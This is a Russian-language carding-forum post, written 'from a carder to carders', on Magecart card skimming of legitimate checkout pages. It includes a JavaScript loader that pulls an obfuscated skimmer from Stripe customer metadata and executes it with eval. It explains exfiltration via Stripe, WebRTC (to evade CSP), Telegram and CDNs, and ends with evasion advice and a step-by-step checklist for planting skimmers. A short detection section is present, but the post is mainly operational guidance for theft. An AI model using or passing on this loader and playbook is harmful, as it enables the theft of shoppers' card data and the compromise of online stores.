Magecart 2.0: скимминг через легитимные страницы checkout

Good Carder

Professional
Messages
1,014
Reaction score
691
Points
113
От кардера — кардерам. Пока вы паритесь с вбивом карт и обходом 3DS, другая каста кардеров годами стрижёт купоны, даже не касаясь карт. Они не покупают CVV, не настраивают прокси, не прогревают профили. Они просто внедряют одну строку JavaScript на чужой сайт, и тысячи покупателей сами приносят им данные своих карт. Это Magecart. В 2026 году Magecart перестал быть просто скиммером — он превратился в полноценную экосистему, использующую легитимные облачные сервисы (Google Tag Manager, Stripe) как свою инфраструктуру.

В этой статье я разберу, как работает Magecart 2.0: от внедрения через компрометацию плагинов до эксфильтрации данных через WebRTC и хранения скиммера в метаданных Stripe. Вы узнаете, как скиммеры маскируются под легитимные скрипты, как обходят Content Security Policy (CSP) и как их обнаружить. Поехали.

Часть 1. Почему Magecart перешёл от поддельных сайтов к атакам на реальные страницы​

Классический скимминг — это когда ты создаёшь поддельную страницу, похожую на сайт банка или магазина, и ждёшь, пока жертва сама введёт данные. Magecart 2.0 работает иначе: ты не создаёшь фейк. Ты атакуешь реальный сайт, который уже доверяют тысячи покупателей. Жертва видит знакомый URL, знакомый дизайн — и вводит данные карты, не подозревая, что каждая цифра уходит на твой сервер.

Почему это эффективнее:
  • Доверие. Покупатель доверяет сайту, на который зашёл. Он не ищет подвоха.
  • Масштаб. Один скомпрометированный магазин может приносить сотни карт в день.
  • Сложность обнаружения. Традиционные сканеры ищут подозрительные домены. Когда скиммер работает через легитимные сервисы (GTM, Stripe), его почти невозможно обнаружить стандартными средствами.

В 2025–2026 годах Magecart-кампании стали массовыми. Одна из них затронула почти 2 000 онлайн-магазинов. Другая использовала невидимые SVG-элементы для внедрения фейкового платёжного оверлея на 99 магазинах Magento. А в июне 2026 года исследователи обнаружили кампанию, использующую Google Tag Manager и Stripe для хранения скиммера и эксфильтрации данных.

Часть 2. Технический разбор обфусцированного клиентского скиммера​

Рассмотрим реальный скиммер, обнаруженный в 2026 году. Он работает в три этапа и использует исключительно легитимные сервисы.

2.1. Этап 1. Загрузчик (Loader) через Google Tag Manager​

Всё начинается с GTM-тега. Атакующий получает доступ к GTM-контейнеру магазина (через взломанные учётные данные или уязвимость в плагине) и добавляет кастомный HTML-тег. Этот тег не содержит самого скиммера — только загрузчик.

JavaScript:
// Упрощённый пример загрузчика
(function() {
    var customerId = 'cus_XXXXXXXXXXXXXXXX'; // ID фейкового клиента в Stripe
    var stripeKey = 'pk_live_XXXXXXXXXXXXXXXX';
   
    // Запрос к Stripe API для получения метаданных
    fetch('https://api.stripe.com/v1/customers/' + customerId, {
        headers: { 'Authorization': 'Bearer ' + stripeKey }
    })
    .then(response => response.json())
    .then(data => {
        // Метаданные содержат обфусцированный скиммер
        var skimmerCode = data.metadata.skimmer;
        eval(skimmerCode); // Выполнение скиммера
    });
})();

Загрузчик не содержит вредоносного кода — только запрос к Stripe. Стандартные сканеры не видят угрозы, потому что код обращается к легитимному API Stripe.

2.2. Этап 2. Хранение скиммера в метаданных Stripe​

Скиммер хранится в поле metadata фейкового клиента Stripe. Атакующий создаёт клиента в Stripe (используя легитимный API-ключ) и записывает в его метаданные обфусцированный JavaScript-код.

Что это даёт атакующему:
  • Обновление без переустановки. Атакующий может изменить скиммер в любой момент, отредактировав метаданные Stripe. Ему не нужно заново взламывать магазин.
  • Скрытность. Трафик идёт через легитимный домен api.stripe.com, который всегда в белых списках.
  • Устойчивость. Даже если GTM-тег обнаружат и удалят, скиммер всё ещё жив в Stripe.

2.3. Этап 3. Сбор и эксфильтрация данных​

Когда покупатель заходит на страницу оформления заказа, скиммер активируется. Он подключается к полям ввода карты и перехватывает данные в реальном времени.

Типичные методы сбора:
  • Хуки на кнопку оплаты. Скиммер перехватывает клик по кнопке «Оплатить» и считывает данные из полей перед отправкой.
  • Подмена платёжной формы. Скиммер скрывает легитимную форму Stripe и показывает почти идентичную фейковую, которая отправляет данные атакующему.
  • Перехват полей ввода. Некоторые скиммеры используют setInterval для постоянного опроса полей ввода, считывая данные по мере ввода.

Эксфильтрация:
В 2026 году скиммеры используют несколько каналов для вывода данных:
  1. Обратно в Stripe. Украденные карты записываются как «фейковые клиенты» в тот же Stripe-аккаунт.
  2. WebRTC DataChannels. Некоторые скиммеры используют WebRTC для обхода Content Security Policy (CSP). WebRTC-соединения не регулируются стандартными правилами CSP, что позволяет эксфильтровать данные без обнаружения.
  3. Telegram-боты. В 2025 году зафиксированы кампании, отправляющие украденные карты напрямую в Telegram.
  4. CDN-субдомены. Данные шифруются (например, AES-CTR) и отправляются на легитимные CDN-домены (b-cdn.net).

Часть 3. Методы внедрения: как скиммер попадает на сайт​

3.1. Компрометация плагинов​

Самый массовый метод. Атакующие ищут уязвимости в популярных плагинах WooCommerce и Magento. В 2025 году была обнаружена уязвимость в плагине (CVE-2025-4892), позволяющая внедрить PHP-бэкдор и скиммер.

Как это работает:
  1. Атакующий сканирует сайты на наличие уязвимой версии плагина.
  2. Эксплуатирует уязвимость для загрузки веб-шелла или бэкдора.
  3. Через бэкдор редактирует файлы темы или плагина, внедряя скиммер.

3.2. Инъекция в темы и шаблоны​

В 2025 году зафиксирована масштабная атака на британские сети фастфуда. Атакующие внедрили вредоносный код в первый JavaScript-файл, встроенный в шаблон сайта. Это позволило им заразить десятки сайтов, не трогая каждый отдельно.

3.3. Эксплуатация уязвимостей в сторонних компонентах​

Magecart эксплуатирует современную архитектуру веб-сайтов, основанную на стороннем коде для платежей, аналитики, рекламы и виджетов. Атакующие находят уязвимости в этих компонентах и внедряют скиммер через них.

Конкретные примеры 2026 года:
  • SVG Onload-атака. 7 апреля 2026 года почти 100 магазинов Magento были заражены скиммером, внедрённым через невидимые SVG-элементы. Скиммер перехватывал клик по любой кнопке оформления заказа и показывал полноэкранный модальный оверлей вместо легитимной формы.
  • WebRTC-скиммер. В июне 2026 года обнаружен скиммер, использующий WebRTC для эксфильтрации данных в обход CSP.
  • Stripe-скиммер. Июнь 2026 года — кампания, использующая Stripe как командный сервер и хранилище украденных данных.

Часть 4. Как скиммеры маскируются и обходят защиту​

4.1. Обфускация кода​

Современные скиммеры используют продвинутые методы обфускации:
МетодОписаниеПример
Hex-маппингПеременные заменяются шестнадцатеричными значениямиvar _0x1234 = ...
Base64-кодированиеКод кодируется в Base64 и выполняется через evaleval(atob("..."))
Offset-массивыЛогика скрыта через массивы с индексами-смещениямиarr[0x4f] вместо прямого вызова
404-страницыКод прячется в 404-страницахБраузер загружает 404-страницу, но выполняет скрытый в ней скрипт
EXIF-метаданныеСкиммер хранится в EXIF faviconНикогда не касается исходного кода магазина
Blob-объектыКод загружается как blob-URI, обходя CSPURL.createObjectURL(blob)

Один из последних примеров — скиммер, использующий трёхступенчатую цепочку загрузки, где полезная нагрузка спрятана в EXIF-метаданных favicon. Код никогда не появляется в репозитории магазина и выполняется исключительно в браузере покупателя.

4.2. Использование доверенных доменов​

Вместо своих C&C-серверов атакующие используют:
  • googletagmanager.com — доставка загрузчика
  • api.stripe.com — хранение скиммера и эксфильтрация
  • b-cdn.net — эксфильтрация через CDN
  • Telegram API — отправка карт

Это делает обнаружение практически невозможным для стандартных WAF и сканеров.

4.3. Обход CSP через WebRTC​

Content Security Policy (CSP) — один из основных механизмов защиты от выполнения неавторизованного кода. В 2026 году атакующие нашли способ его обойти.

Как работает обход:
  1. Скиммер внедряется на страницу (через GTM или другую уязвимость).
  2. Вместо отправки данных через HTTP (что блокируется CSP), он использует WebRTC DataChannels.
  3. WebRTC-соединения не регулируются CSP, что позволяет эксфильтровать данные без ограничений.

Этот метод был обнаружен в марте-апреле 2026 года и уже используется в реальных атаках.

Часть 5. Пошаговая инструкция по обнаружению скиммера​

Этот раздел для тех, кто хочет понять, как выглядит скиммер «изнутри» — для обратного инжиниринга и понимания механики.

5.1. Проверка GTM-контейнера​

  1. Открой консоль браузера (F12) на странице оформления заказа.
  2. Введи dataLayer и посмотри, какие теги загружаются.
  3. Проверь, есть ли кастомные HTML-теги, которые загружают скрипты с незнакомых доменов или используют eval() для выполнения кода.
  4. Найди GTM-контейнер (обычно в <head>) и проверь его ID. Сравни с официальным ID, который должен быть у магазина.

5.2. Анализ сетевых запросов​

  1. Открой вкладку Network в консоли разработчика.
  2. Обнови страницу оформления заказа.
  3. Ищи запросы к:
    • api.stripe.com/v1/customers — особенно с метаданными.
    • googletagmanager.com/gtm.js — проверь, нет ли дополнительных параметров.
    • Незнакомым доменам с суффиксами -analytics.com, -cdn.com, -metrics.com.
  4. Проверь, нет ли WebRTC-соединений (вкладка WebRTC в Chrome DevTools).

5.3. Проверка DOM-элементов​

  1. В консоли выполни: document.querySelectorAll('iframe, script[src]').
  2. Проверь, есть ли невидимые iframe или SVG-элементы с атрибутами onload.
  3. Найди платёжную форму. Убедись, что она действительно принадлежит Stripe (если магазин использует Stripe), а не поддельная.
  4. Проверь, не скрыта ли легитимная форма с помощью display: none или visibility: hidden.

5.4. Проверка метаданных Stripe (для исследователей)​

  1. Найди публичный ключ Stripe магазина (обычно в JavaScript на странице).
  2. Отправь запрос к Stripe API для получения списка клиентов.
  3. Проверь поле metadata каждого клиента на наличие подозрительных данных (обфусцированного JavaScript).

5.5. Инструменты для автоматического обнаружения​

  • CartShark — мониторинг скриптов на страницах оформления заказа в реальном времени.
  • Feroot — инвентаризация скриптов платёжных страниц и обнаружение неавторизованных изменений.
  • Sansec — специализированная компания по обнаружению скиммеров.

Часть 6. Ошибки при внедрении скиммера (и как их избежать)​

Хотя эта статья для кардеров, понимание ошибок помогает и в обнаружении.

6.1. Ошибка: использование собственного C&C-сервера​

Собственный сервер легко обнаружить по нестандартному домену или IP.
Решение: Используй легитимные облачные сервисы (Stripe, GTM, CDN) как инфраструктуру.

6.2. Ошибка: оставление видимых следов в коде​

Если скиммер не обфусцирован, его легко найти.
Решение: Используй многоступенчатую обфускацию (hex-маппинг, Base64, offset-массивы).

6.3. Ошибка: активация скиммера на всех страницах​

Если скиммер активен на всех страницах, он быстрее обнаруживается.
Решение: Активируй скиммер только на страницах оформления заказа (проверка URL).

6.4. Ошибка: использование одного канала эксфильтрации​

Если канал перекрывают, данные не доходят.
Решение: Используй несколько каналов: Stripe metadata, WebRTC, Telegram, CDN.

Часть 7. Чек-лист для кардера (понимание инфраструктуры)​

  • Цель: Найди магазин с уязвимым плагином WooCommerce/Magento.
  • Внедрение: Получи доступ через уязвимость (CVE, украденные учётные данные).
  • Загрузчик: Внедри GTM-тег, загружающий скиммер из Stripe metadata.
  • Хранение: Создай фейкового клиента в Stripe и сохрани скиммер в metadata.
  • Сбор: Скиммер перехватывает данные на checkout-странице.
  • Эксфильтрация: Данные уходят через Stripe, WebRTC или Telegram.
  • Обновление: Изменяй скиммер через Stripe metadata без повторного внедрения.
  • Маскировка: Используй обфускацию и доверенные домены для скрытности.

Резюме​

Magecart 2.0 — это эволюция скимминга. Вместо поддельных сайтов атакующие используют легитимные страницы оформления заказа. Вместо своих серверов — Google Tag Manager и Stripe. Вместо HTTP-эксфильтрации — WebRTC и Telegram. В 2026 году Magecart-кампании стали массовыми: одна затронула почти 2 000 магазинов, другая использовала невидимые SVG-элементы на 99 сайтах Magento, а третья превратила Stripe в полноценный командный сервер.

Главные уроки:
  1. Доверенные сервисы — не гарантия безопасности. GTM и Stripe могут быть использованы для хостинга скиммеров.
  2. CSP больше не панацея. WebRTC позволяет обходить даже строгие политики.
  3. Обфускация — стандарт. Современные скиммеры используют hex-маппинг, Base64, offset-массивы и даже EXIF-метаданные для маскировки.

Быстрая памятка на одну строку:
«GTM загружает, Stripe хранит, WebRTC уводит. Скиммер в метаданных — без единого следа в коде магазина. 99 магазинов за ночь через SVG. 2 000 магазинов за кампанию. Magecart 2026 — это не взлом, это интеграция с доверенными сервисами».
 
Top